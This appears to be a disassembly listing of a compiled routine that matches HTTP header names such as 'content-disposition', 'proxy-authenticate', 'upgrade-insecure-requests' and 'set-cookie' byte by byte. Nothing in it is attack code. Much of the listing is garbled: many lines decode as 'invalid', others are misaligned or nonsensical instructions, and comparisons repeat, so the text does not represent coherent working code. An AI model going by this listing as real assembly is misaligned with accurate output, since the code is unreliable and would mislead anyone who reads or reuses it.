outsb dx, byte [rsi]
jne 0x14003bad2
add byte [rax], al
add byte [rax + 0xf74067b], al
cmp byte [rbx + 6], 0x74
jne 0x14003bad2
invalid
je 0x140039f5f
test dword [rbp + 0x1b], edi
add byte [rax], al
invalid
add byte [rax + 0xf2d077b], al
cmp byte [rbx + 7], 0x2d
jne 0x14003bad2
test dword [rbx + 0x1b], esi
add byte [rax], al
test dword [rbx + 0x1b], esi
add byte [rax], al
movzx eax, byte [rbx + 8]
cmp eax, 0x6c
je 0x14003b941
invalid
sbb dword [rax], eax
invalid
or byte [r11 - 0x7bf09308], al
invalid
cmp eax, 0x65
jne 0x14003bad2
sbb eax, dword [rax]
invalid
cmp byte [rbx + 9], 0x6e
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x63
jne 0x14003bad2
test dword [rcx + 0x1b], ecx
add byte [rax], al
cmp byte [rbx + 0xb], 0x6f
jnp 0x140039f97
outsd dx, dword [rsi]
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x64
jnp 0x140039fa2
jne 0x14003bad2
jne 0x14003bad2
xor eax, 0x8000001b
jnp 0x140039fad
invalid
cmp byte [rbx + 0xd], 0x69
jne 0x14003bad2
sbb eax, dword [rax]
invalid
imul ecx, dword [rdi], 0x1b2b85
test dword [rbx], ebp
sbb eax, dword [rax]
add byte [rax + 0xf6e0e7b], al
test dword [rcx], esp
sbb eax, dword [rax]
cmp byte [rbx + 0xe], 0x6e
outsb dx, byte [rsi]
jne 0x14003bad2
and dword [rbx], ebx
add byte [rax], al
invalid
add byte [rax - 0x16984eea], dh
invalid
mov al, 0x16
mov cl, 0x67
invalid
jmp 0x14003abd9
movzx eax, byte [rbx]
cmp eax, 0x74
je 0x14003b431
cmp eax, 0x69
je 0x14003b2f3
cmp eax, 0x73
je 0x14003b392
cmp eax, 0x63
jne 0x14003bad2
invalid
add byte [rax + 0xf64017b], al
test edi, esp
sbb al, byte [rax]
add byte [rax + 0xf6e027b], al
jnp case.0x140039bfe.39
outsb dx, byte [rsi]
invalid
cmp byte [rbx + 1], 0x64
jne 0x14003bad2
cmp byte [rbx + 2], 0x6e
jnp case.0x140039bfe.39
outsb dx, byte [rsi]
jne 0x14003bad2
test ebp, ebx
sbb al, byte [rax]
add byte [rax], al
cmp byte [rbx + 3], 0x2d
invalid
test ebx, edx
cmp byte [rbx + 3], 0x2d
jne 0x14003bad2
sbb al, byte [rax]
invalid
sbb al, byte [rax]
add byte [rax + 0xf63047b], al
jnp 0x14003a006
invalid
invalid
test ecx, ecx
leave
cmp byte [rbx + 4], 0x63
jnp 0x14003a006
invalid
jne 0x14003bad2
leave
sbb al, byte [rax]
add byte [rax + 0xf61057b], al
invalid
jne 0x14003bad2
sbb al, byte [rax]
invalid
invalid
jnp case.0x14002e84a.44
cmp byte [rbx + 5], 0x61
jne 0x14003bad2
sbb al, byte [rax]
invalid
sbb al, byte [rax]
add byte [rax + 0xf63067b], al
test dword [rbp - 0x7fffffe6], esi
invalid
invalid
jnp 0x14003a027
cmp byte [rbx + 6], 0x63
jne 0x14003bad2
invalid
invalid
add byte [rax + 0xf68077b], al
test dword [rbx - 0x7fffffe6], ebp
stosd dword [rdi], eax
sbb al, byte [rax]
invalid
invalid
jnp 0x14003a032
cmp byte [rbx + 7], 0x68
jne 0x14003bad2
stosd dword [rdi], eax
sbb al, byte [rax]
invalid
push 0x1aab850f
add byte [rax], al
cmp byte [rbx + 8], 0x65
jne 0x14003bad2
invalid
invalid
sbb al, byte [rax]
invalid
jne 0x14003bad2
test dword [rcx - 0x7fffffe6], esp
cmp byte [rbx + 9], 0x2d
jne 0x14003bad2
xchg edi, eax
sbb al, byte [rax]
invalid
jnp 0x14003a03d
sub eax, 0x1a97850f
add byte [rax], al
cmp byte [rbx + 0xa], 0x63
jne 0x14003bad2
jnp 0x14003a048
or ah, byte [rbx + 0xf]
invalid
test dword [rbp - 0x7fffffe6], ecx
jnp case.0x1400115e7.178
cmp byte [rbx + 0xb], 0x6f
outsd dx, dword [rsi]
jne 0x14003bad2
sbb al, byte [rax]
add byte [rax + 0xf6e0c7b], al
jnp 0x14003a05e
outsb dx, byte [rsi]
invalid
cmp byte [rbx + 0xc], 0x6e
jnp 0x14003a05e
outsb dx, byte [rsi]
jne 0x14003bad2
test dword [rcx + 0x1a], edi
add byte [rax], al
cmp byte [rbx + 0xd], 0x74
jne 0x14003bad2
add byte [rax], al
je 0x14003a06d
test dword [rdi + 0x1a], ebp
add byte [rax], al
cmp byte [rbx + 0xe], 0x72
jne 0x14003bad2
jnp case.0x14002e5c3.53
jb 0x14003a077
test dword [rbp + 0x1a], esp
add byte [rax], al
cmp byte [rbx + 0xf], 0x6f
outsd dx, dword [rsi]
jne 0x14003bad2
sbb al, byte [rax]
add byte [rax - 0x16934eed], dh
mov al, 0x13
mov cl, 0x6c
jmp 0x14003b4cb
adc al, 0
invalid
adc al, 0
add byte [rdi], cl
mov dh, 3
movzx eax, byte [rbx]
cmp eax, 0x72
je 0x14003aa60
clc
jb 0x14003a096
test ah, dl
or dword [rax], eax
add byte [rbx - 0x7af09e08], al
cmp eax, 0x61
invalid
test dword [rdi + 0x18], esi
cmp eax, 0x61
jne case.0x140039bfe.118
invalid
add byte [rax], al
add byte [rax + 0xf6c017b], al
test dword [rbp + 0x18], ebp
add byte [rax], al
cmp byte [rbx + 1], 0x6c
jnp 0x14003a099
insb byte [rdi], dx
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x6c
jne case.0x140039bfe.118
test dword [rbx + 0x18], esp
add byte [rax], al
test dword [rbx + 0x18], esp
add byte [rax], al
cmp byte [rbx + 3], 0x6f
add ebp, dword [rdi + 0xf]
test dword [rcx + 0x18], ebx
add byte [rax], al
outsd dx, dword [rsi]
jne case.0x140039bfe.118
mov al, 0xe
mov cl, 0x77
jmp 0x14003aa82
add byte [rax], al
invalid
invalid
add byte [rdi], cl
mov dh, 3
movzx eax, byte [rbx]
cmp eax, 0x73
je 0x14003b77a
mov dl, 0x16
add byte [rax], al
mov dl, 0x16
add byte [rax], al
invalid
cmp eax, 0x63
je 0x14003b74c
cmp eax, 0x65
je 0x14003b6bc
test dl, ah
invalid
add byte [rax], al
test dl, ah
adc eax, 0xf8830000
cmp eax, 0x6f
cmp eax, 0x6f
je 0x14003b71e
cmp edx, dword [rsi]
add byte [rax], al
cmp eax, 0x70
je 0x14003b6ed
cmp eax, 0x61
jne case.0x140039bfe.118
invalid
add byte [rax + 0xf63017b], al
test dword [0xc003a118], ecx
cmp byte [rbx + 1], 0x63
jne case.0x140039bfe.118
or eax, 0x80000018
cmp byte [rbx + 2], 0x63
jne case.0x140039bfe.118
add ebx, dword [rax]
add byte [rax], al
jnp 0x14003a104
invalid
test dword [rbx], eax
sbb byte [rax], al
add byte [rax + 0xf65037b], al
jnp 0x14003a10f
invalid
invalid
test ecx, edi
add ebx, dword [rax]
add byte [rax], al
cmp byte [rbx + 3], 0x65
jne case.0x140039bfe.118
invalid
cmp byte [rbx + 4], 0x70
jnp case.0x140013145.178
add al, 0x70
jo 0x14003a127
jne case.0x140039bfe.118
test edi, ebp
invalid
xor eax, eax
jmp 0x14003b6e6
cmp byte [rbx], 0x72
cmp esi, dword [rdx + 0xf]
test edi, ebx
jne case.0x140039bfe.118
invalid
cmp byte [rbx + 1], 0x65
jne case.0x140039bfe.118
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 2], 0x74
jne case.0x140039bfe.118
test ebx, ecx
invalid
add byte [rax], al
test ebx, ecx
invalid
cmp byte [rbx + 3], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x79
jne case.0x140039bfe.118
jnp 0x14003a152
jns 0x14003a15f
test dword [rdi - 0x7fffffe9], esi
jnp 0x14003a15d
invalid
cmp byte [rbx + 5], 0x2d
jne case.0x140039bfe.118
invalid
add byte [rax], al
sub eax, 0x17ad850f
add byte [rax], al
add byte [rax + 0xf61067b], al
test dword [rbx - 0x7fffffe9], esp
invalid
invalid
add byte [rax], al
invalid
jnp 0x14003a173
cmp byte [rbx + 6], 0x61
jne case.0x140039bfe.118
invalid
invalid
add byte [rax], al
movabs dword [0xf66077b80000017], eax
test dword [rcx - 0x7fffffe9], ebx
invalid
invalid
jnp 0x14003a17e
cmp byte [rbx + 7], 0x66
jne case.0x140039bfe.118
invalid
jne case.0x140039bfe.118
add byte [rax + 0xf74087b], al
cmp byte [rbx + 8], 0x74
jne case.0x140039bfe.118
invalid
je 0x14003a187
test dword [rdi - 0x7fffffe9], ecx
add byte [rax + 0xf65097b], al
test dword [rbp - 0x4fffffe9], eax
add byte [rax], al
mov al, 0x3a
mov cl, 0x72
invalid
or al, byte [rax]
cmp byte [rbx + 9], 0x65
jne case.0x140039bfe.118
add byte [rax], al
jnp 0x14003a189
jne case.0x140039bfe.118
add byte [rax], al
mov al, 0x3a
mov cl, 0x72
mov edx, 0xa
or al, byte [rax]
add byte [rax], al
or al, byte [rax]
add byte [rax], al
jmp 0x14003b8f3
movzx eax, byte [rbx]
mov dh, 3
cmp eax, 0x75
je 0x14003acef
test byte [rsi + 0xb], cl
add byte [rax], al
test byte [rsi + 0xb], cl
add byte [rax], al
cmp eax, 0x73
je 0x14003abe3
invalid
cmp eax, 0x63
jne case.0x140039bfe.118
invalid
add byte [rax + 0xf6f017b], al
test dword [rdi + 0x17], ecx
invalid
invalid
add byte [rax], al
cmp byte [rbx + 1], 0x6f
jne case.0x140039bfe.118
invalid
invalid
add byte [rax], al
cmp byte [rbx + 2], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x63
jne case.0x140039bfe.118
jnp 0x14003a1e3
invalid
add byte [rax], al
cmp byte [rbx + 6], 0x74
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x140039bfe.118
add byte [rax - 0x16914eec], dh
invalid
mov al, 0x14
mov cl, 0x6e
jmp 0x14003ad43
or eax, dword [rax]
invalid
add byte [rdi], cl
mov dh, 3
movzx eax, byte [rbx]
cmp eax, 0x70
je 0x14003ad4d
cmp eax, 0x69
je 0x14003ac3c
cmp eax, 0x63
jne 0x14003bad2
invalid
cmp byte [rbx + 1], 0x6f
jne 0x14003bad2
cmp byte [rbx + 2], 0x6e
jne 0x14003bad2
sbb byte [rax], al
add byte [rax + 0xf74037b], al
test dword [rdx - 0x7fffffe8], ecx
jnp 0x14003a24f
cmp byte [rbx + 3], 0x74
jne 0x14003bad2
cmp byte [rbx + 4], 0x65
jne 0x14003bad2
invalid
sbb byte [rax], 0
invalid
jne 0x14003bad2
test dword [rax - 0x7fffffe8], eax
jnp 0x14003a25a
sbb byte [rax], al
add byte [rax + 0xf6e057b], al
test dword [rsi + 0x18], esi
cmp byte [rbx + 5], 0x6e
outsb dx, byte [rsi]
jne 0x14003bad2
add byte [rax], al
add byte [rax + 0xf74067b], al
cmp byte [rbx + 6], 0x74
jne 0x14003bad2
test dword [rax + rbx], ebp
invalid
test dword [rax + rbx], ebp
add byte [rax + 0xf2d077b], al
cmp byte [rbx + 7], 0x2d
jne 0x14003bad2
test dword [rdx + 0x18], esp
add byte [rax], al
test dword [rdx + 0x18], esp
add byte [rax], al
cmp byte [rbx + 8], 0x64
jne 0x14003bad2
cmp byte [rbx + 9], 0x69
jne 0x14003bad2
jnp 0x14003a286
imul ecx, dword [rdi], 0x184e85
add byte [rax + 0xf730a7b], al
cmp byte [rbx + 0xa], 0x73
jne 0x14003bad2
jnp 0x14003a291
or dh, byte [rbx + 0xf]
jae 0x14003a298
test dword [rax + rbx], eax
add byte [rax + 0xf700b7b], al
cmp byte [rbx + 0xb], 0x70
jne 0x14003bad2
jo 0x14003a2a2
test dword [rdx], edi
sbb byte [rax], al
add byte [rax + 0xf6f0c7b], al
test dword [rax], esi
sbb byte [rax], al
cmp byte [rbx + 0xc], 0x6f
jne 0x14003bad2
add byte [rax + 0xf730d7b], al
test dword [rsi], esp
sbb byte [rax], al
cmp byte [rbx + 0xd], 0x73
jne 0x14003bad2
invalid
add byte [rax + 0xf690e7b], al
test dword [rax + rbx], ebx
add byte [rax], al
cmp byte [rbx + 0xe], 0x69
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x74
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x69
jne 0x14003bad2
add byte [rax], al
adc byte [rcx + 0xf], ch
test dword [rax], ecx
sbb byte [rax], al
add byte [rax], al
cmp byte [rbx + 0x11], 0x6f
invalid
test esi, edi
invalid
cmp byte [rbx + 0x11], 0x6f
jnp 0x14003a2de
outsd dx, dword [rsi]
jne 0x14003bad2
add byte [rax], al
mov al, 0x15
jmp 0x14003adf9
or eax, dword [rax]
invalid
cmp byte [rbx], 0x70
jne 0x14003bad2
cmp byte [rbx + 1], 0x72
jne 0x14003bad2
cmp byte [rbx + 2], 0x6f
outsd dx, dword [rsi]
jne 0x14003bad2
cmp byte [rbx + 3], 0x78
jne 0x14003bad2
cmp byte [rbx + 4], 0x79
jne 0x14003bad2
cmp byte [rbx + 5], 0x2d
jne 0x14003bad2
invalid
invalid
add byte [rax], al
mov esp, 0x80000017
jnp 0x14003a31f
cmp byte [rbx + 6], 0x61
jne 0x14003bad2
invalid
add byte [rax + 0xf75077b], al
test dword [rax - 0x7fffffe9], ebp
add byte [rax], al
invalid
jnp 0x14003a335
cmp byte [rbx + 7], 0x75
jne 0x14003bad2
add byte [rax], al
invalid
cmp byte [rbx + 8], 0x74
jne 0x14003bad2
add byte [rax], al
je 0x14003a33e
test dword [rsi - 0x7fffffe9], ebx
add byte [rax], al
cmp byte [rbx + 9], 0x68
jnp 0x14003a340
push 0x1794850f
add byte [rax], al
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x65
jne 0x14003bad2
or ah, byte [rbp + 0xf]
test dword [rdx - 0x7fffffe9], ecx
invalid
jnp 0x14003a356
cmp byte [rbx + 0xb], 0x6e
outsb dx, byte [rsi]
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x74
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x69
jne 0x14003bad2
insb byte [rdi], dx
invalid
add byte [rax], al
insb byte [rdi], dx
invalid
cmp byte [rbx + 0xe], 0x63
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x61
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x74
jne 0x14003bad2
add byte [rax], al
adc byte [rdi + rcx - 0x7b], dh
invalid
add byte [rax], al
mov al, 0x32
mov cl, 0x65
mov edx, 0x11
jmp 0x14003b8f3
add byte [rax], al
add byte [rax], al
movzx eax, byte [rbx]
cmp eax, 0x78
je 0x14003aedb
cmp eax, 0x73
je 0x14003ae05
cmp eax, 0x61
jne 0x14003bad2
cmp byte [rbx + 1], 0x63
jnp 0x14003a3b4
invalid
jne 0x14003bad2
cmp byte [rbx + 2], 0x63
jne 0x14003bad2
invalid
add byte [rax], al
invalid
cmp byte [rbx + 3], 0x65
jne 0x14003bad2
cmp byte [rbx + 4], 0x73
add al, 0x73
jne 0x14003bad2
cmp byte [rbx + 5], 0x73
jne 0x14003bad2
invalid
add byte [rax + 0xf2d067b], al
test esi, esp
invalid
cmp byte [rbx + 6], 0x2d
jne 0x14003bad2
cmp byte [rbx + 7], 0x63
jne 0x14003bad2
test esp, ebx
invalid
add byte [rax], al
test esp, ebx
invalid
cmp byte [rbx + 8], 0x6f
jne 0x14003bad2
cmp byte [rbx + 9], 0x6e
jnp 0x14003a40c
outsb dx, byte [rsi]
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x74
jne 0x14003bad2
invalid
add byte [rax], al
or dh, byte [rdi + rcx - 0x7b]
mov esi, 0x80000016
invalid
add byte [rax], al
invalid
jnp 0x14003a422
invalid
cmp byte [rbx + 0xb], 0x72
jne 0x14003bad2
jb 0x14003a428
test dword [rsi + rdx + 0x7b800000], esi
cmp byte [rbx + 0xc], 0x6f
or al, 0x6f
outsd dx, dword [rsi]
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x6c
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x6d
jne 0x14003bad2
jnp 0x14003a464
js 0x14003a464
test dword [rax + 0x16], edi
add byte [rax], al
cmp byte [rbx + 0x12], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0x13], 0x61
jne 0x14003bad2
cmp byte [rbx + 0x14], 0x67
jne 0x14003bad2
jne 0x14003bad2
mov al, 0xa
mov cl, 0x65
jmp 0x14003aed1
cmp byte [rbx], 0x61
jne 0x14003bad2
cmp byte [rbx + 1], 0x63
jne 0x14003bad2
cmp byte [rbx + 2], 0x63
jne 0x14003bad2
cmp byte [rbx + 3], 0x65
jne 0x14003bad2
cmp byte [rbx + 4], 0x73
jne 0x14003bad2
cmp byte [rbx + 5], 0x73
jne 0x14003bad2
cmp byte [rbx + 6], 0x2d
jne 0x14003bad2
cmp byte [rbx + 7], 0x63
jne 0x14003bad2
cmp byte [rbx + 8], 0x6f
jne 0x14003bad2
cmp byte [rbx + 9], 0x6e
jne 0x14003bad2
out dx, al
invalid
add byte [rax], al
out dx, al
adc eax, 0x7b800000
or dh, byte [rdi + rcx - 0x7b]
in al, 0x15
add byte [rax], al
cmp byte [rbx + 0xa], 0x74
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x72
jne 0x14003bad2
or esi, dword [rdx + 0xf]
test edx, ebx
adc eax, 0x7b800000
or al, 0x6f
cmp byte [rbx + 0xc], 0x6f
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x6c
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x72
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x65
jne 0x14003bad2
cmp byte [rbx + 0x11], 0x71
jne 0x14003bad2
sahf
invalid
add byte [rax], al
sahf
adc eax, 0x7b800000
adc dh, byte [rbp + 0xf]
test dword [rbp + rdx + 0x7b800000], edx
adc esp, dword [rbp + 0xf]
test dword [rdx - 0x7fffffeb], ecx
jnp 0x14003a55f
jae 0x14003a55c
test dword [rax - 0x7fffffeb], eax
jnp 0x14003a56a
add byte [rax], al
cmp byte [rbx + 0x15], 0x74
jne 0x14003bad2
je 0x14003a566
test dword [rsi + 0x15], esi
add byte [rax], al
cmp byte [rbx + 0x16], 0x2d
jne 0x14003bad2
sub eax, 0x156c850f
add byte [rax], al
cmp byte [rbx + 0x17], 0x68
jne 0x14003bad2
cmp byte [rbx + 0x18], 0x65
jne 0x14003bad2
cmp byte [rbx + 0x19], 0x61
jne 0x14003bad2
invalid
invalid
add byte [rax], al
adc rax, 0x7b800000
sbb ah, byte [rdi + rcx - 0x7b]
adc eax, 0x7b800000
sbb esp, dword [rbp + 0xf]
test dword [rdx], edi
adc eax, 0x7b800000
sbb al, 0x72
cmp byte [rbx + 0x1a], 0x64
jne 0x14003bad2
cmp byte [rbx + 0x1b], 0x65
jne 0x14003bad2
cmp byte [rbx + 0x1c], 0x72
jne 0x14003bad2
add byte [rax], al
mov al, 0xb
mov cl, 0x73
mov edx, 0x1d
jmp 0x14003b8f3
cmp byte [rbx], 0x61
jne 0x14003bad2
cmp byte [rbx + 1], 0x63
jne 0x14003bad2
cmp byte [rbx + 2], 0x63
jne 0x14003bad2
cmp byte [rbx + 3], 0x65
jne 0x14003bad2
cmp byte [rbx + 4], 0x73
jne 0x14003bad2
cmp byte [rbx + 5], 0x73
jne 0x14003bad2
cmp byte [rbx + 6], 0x2d
jne 0x14003bad2
cmp byte [rbx + 7], 0x63
jne 0x14003bad2
cmp byte [rbx + 8], 0x6f
jne 0x14003bad2
cmp byte [rbx + 9], 0x6e
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x74
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x72
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x6f
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x6c
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x2d
jne 0x14003bad2
movzx eax, byte [rbx + 0xf]
cmp eax, 0x72
je 0x14003b515
cmp eax, 0x65
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x78
jne 0x14003bad2
cmp eax, 0x65
je case.0x14002e5c3.88
cmp eax, 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 1], 0x6c
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x74
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x73
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x76
jne case.0x140039bfe.118
mov al, 0xf
mov cl, 0x63
jmp 0x14003b7e6
cmp byte [rbx + 1], 0x70
jne 0x14003bad2
cmp byte [rbx + 2], 0x67
jne 0x14003bad2
cmp byte [rbx + 3], 0x72
jne 0x14003bad2
cmp byte [rbx + 4], 0x61
jne 0x14003bad2
cmp byte [rbx + 5], 0x64
jne 0x14003bad2
cmp byte [rbx + 6], 0x65
jne 0x14003bad2
cmp byte [rbx + 7], 0x2d
jne 0x14003bad2
cmp byte [rbx + 8], 0x69
jne 0x14003bad2
cmp byte [rbx + 9], 0x6e
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x73
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x65
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x63
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x75
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x72
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x65
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0x11], 0x72
jne 0x14003bad2
cmp byte [rbx + 1], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x78
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x66
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x77
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 9], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 0xa], 0x64
jne case.0x140039bfe.118
mov al, 0x2f
jmp 0x14003b84c
cmp byte [rbx + 1], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x74
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x74
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x6c
jne case.0x140039bfe.118
cmp byte [rbx + 9], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 0xa], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 0xb], 0x67
jne case.0x140039bfe.118
cmp byte [rbx + 0xc], 0x74
jne case.0x140039bfe.118
mov al, 0x18
mov cl, 0x68
mov edx, 0xd
jmp 0x14003b8f3
cmp byte [rbx + 1], 0x75
jne 0x14003bad2
cmp byte [rbx + 2], 0x62
jne 0x14003bad2
cmp byte [rbx + 3], 0x6c
jne 0x14003bad2
cmp byte [rbx + 4], 0x69
jne 0x14003bad2
cmp byte [rbx + 5], 0x63
jne 0x14003bad2
cmp byte [rbx + 6], 0x2d
jne 0x14003bad2
cmp byte [rbx + 7], 0x6b
jne 0x14003bad2
cmp byte [rbx + 8], 0x65
jne 0x14003bad2
cmp byte [rbx + 9], 0x79
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x70
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x69
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x6e
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x73
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x72
jne 0x14003bad2
cmp byte [rbx + 0x11], 0x65
jne 0x14003bad2
mov edx, 0x1a
jmp 0x14003b8f3
cmp byte [rbx + 1], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x63
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x74
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x6f
jne case.0x140039bfe.118
mov al, 0x2e
mov cl, 0x6e
mov edx, 7
jmp 0x14003b8f3
cmp byte [rbx + 1], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x67
jne case.0x140039bfe.118
mov al, 0x36
mov cl, 0x65
mov edx, 4
jmp 0x14003b8f3
cmp byte [rbx + 1], 0x6e
jne case.0x140039bfe.118
mov al, 0x1f
mov cl, 0x74
jmp 0x14003aaaa
cmp byte [rbx + 1], 0x69
jne case.0x140039bfe.118
mov al, 0x4a
mov cl, 0x61
mov edx, 2
jmp 0x14003b8f3
cmp byte [rbx + 1], 0x77
jne 0x14003bad2
cmp byte [rbx + 2], 0x77
jne 0x14003bad2
cmp byte [rbx + 3], 0x2d
jne 0x14003bad2
cmp byte [rbx + 4], 0x61
jne 0x14003bad2
cmp byte [rbx + 5], 0x75
jne 0x14003bad2
cmp byte [rbx + 6], 0x74
jne 0x14003bad2
cmp byte [rbx + 7], 0x68
jne 0x14003bad2
cmp byte [rbx + 8], 0x65
jne 0x14003bad2
cmp byte [rbx + 9], 0x6e
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x74
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x69
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x63
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x61
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x74
jne 0x14003bad2
mov al, 0x4c
mov cl, 0x65
jmp 0x14003abd9
cmp byte [rbx + 1], 0x2d
jne 0x14003bad2
cmp byte [rbx + 2], 0x78
jne 0x14003bad2
cmp byte [rbx + 3], 0x73
jne 0x14003bad2
cmp byte [rbx + 4], 0x73
jne 0x14003bad2
cmp byte [rbx + 5], 0x2d
jne 0x14003bad2
cmp byte [rbx + 6], 0x70
jne 0x14003bad2
cmp byte [rbx + 7], 0x72
jne 0x14003bad2
cmp byte [rbx + 8], 0x6f
jne 0x14003bad2
cmp byte [rbx + 9], 0x74
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x65
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x63
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x74
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x69
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x6f
jne 0x14003bad2
mov al, 0x50
mov cl, 0x6e
mov edx, 0xf
jmp 0x14003b8f3
cmp byte [rbx + 1], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x74
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x63
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x6b
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x69
jne case.0x140039bfe.118
mov al, 0x41
mov cl, 0x65
jmp 0x14003ad43
cmp byte [rbx + 1], 0x66
jne 0x14003bad2
cmp byte [rbx + 2], 0x2d
jne 0x14003bad2
cmp byte [rbx + 3], 0x75
jne 0x14003bad2
cmp byte [rbx + 4], 0x6e
jne 0x14003bad2
cmp byte [rbx + 5], 0x6d
jne 0x14003bad2
cmp byte [rbx + 6], 0x6f
jne 0x14003bad2
cmp byte [rbx + 7], 0x64
jne 0x14003bad2
cmp byte [rbx + 8], 0x69
jne 0x14003bad2
cmp byte [rbx + 9], 0x66
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x69
jne 0x14003bad2
cmp byte [rbx + 0xb], 0x65
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x64
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x73
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x69
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x6e
jne 0x14003bad2
cmp byte [rbx + 1], 0x73
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x2d
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x67
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x6e
jne case.0x140039bfe.118
mov al, 0x46
mov cl, 0x74
mov edx, 9
jmp 0x14003b8f3
cmp byte [rbx + 1], 0x72
jne 0x14003bad2
cmp byte [rbx + 2], 0x6f
jne 0x14003bad2
cmp byte [rbx + 3], 0x78
jne 0x14003bad2
cmp byte [rbx + 4], 0x79
jne 0x14003bad2
cmp byte [rbx + 5], 0x2d
jne 0x14003bad2
